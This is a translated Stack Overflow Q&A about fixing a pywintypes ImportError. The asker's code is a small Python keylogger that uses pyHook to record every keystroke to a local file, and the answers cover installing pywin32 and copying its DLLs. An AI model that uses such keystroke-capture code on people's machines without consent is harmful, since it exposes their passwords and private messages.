【问题标题】:ImportError: No module named pywintypesImportError:没有名为 pywintypes 的模块
【发布时间】:2020-11-02 01:40:52
【问题描述】:

我正在使用 pyHook、pythoncom 和 Pywin32 模块用 Python 制作一个小型键盘记录器。这是我的代码:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

当它运行时,它返回这个错误信息:

 File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

如何解决这个错误?

【问题讨论】:

    标签: python pywin32 keylogger pyhook pythoncom


    【解决方案1】:

    pywintypesPython for Windows extensions 的一部分,也称为 pywin32。您需要安装它才能访问pywintypes

    请注意,在撰写本文时,pywin32 的维护者并未将文件上传到 PyPI,因此您必须从 http://pywin32.sf.net 获取适当版本的安装程序。

    【讨论】:

    • 必须使用pip install pypiwin32
    • @Elric 请注意,在撰写本文时,pypiwin32 只有 3.6 的文件,因此该命令仅适用于该特定版本。
    【解决方案2】:

    pip install pypiwin32 为我工作

    【讨论】:

      【解决方案3】:

      对我来说,它可以从以下位置复制文件(pythoncom38.dll 和 pywintypes38.dll):

      C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\pywin32_system32
      

      到路径:

      C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32\lib
      

      C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32
      
      • 安装 Visual Studio 后,有时需要在复制文件后重新启动计算机。

      【讨论】:

      • 我刚刚在新安装的 Windows 10 机器上安装使用 pyttsx3 的脚本时遇到了这个问题,您的解决方案运行良好。为什么这在 11 月仍然是个问题? pypiwin32 包有问题吗?没有人报告这是一个问题吗?
      【解决方案4】:

      只需将 pythoncom34.dll 和 pywintypes34.dll 添加到您的 C:\Python34\

      【讨论】:

        【解决方案5】:

        我知道我的回答有点晚了,但只是遇到了这个问题。 pywin32 和 pypiwin32 都安装在我的 virtualenv 上,我的应用程序在测试期间运行良好。当我运行 pyinstaller 构建我的 exe 时,出现了这个错误。

        解决方案: 我需要在我的基础 python env(而不是 virtualenv)上安装(通过 pip)pywin32 和 pypiwin32,以便 pyinstaller 构建我的 exe。

        【讨论】:

        • 如何在基础环境中安装?我有同样的问题
        • 只需在您的系统(全局)中安装 pywin32 和 pypiwin32,而不仅仅是在特定的 venv 中
        【解决方案6】:

        我在尝试使用 pywin32 模块创建 python 服务时遇到此错误。 我将pythoncom38.dllpywintypes38.dll复制到项目的根目录,它解决了这个问题。

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2014-10-04
          • 1970-01-01
          • 1970-01-01
          • 2013-03-11
          • 2012-12-07
          • 2012-05-23
          相关资源
          最近更新 更多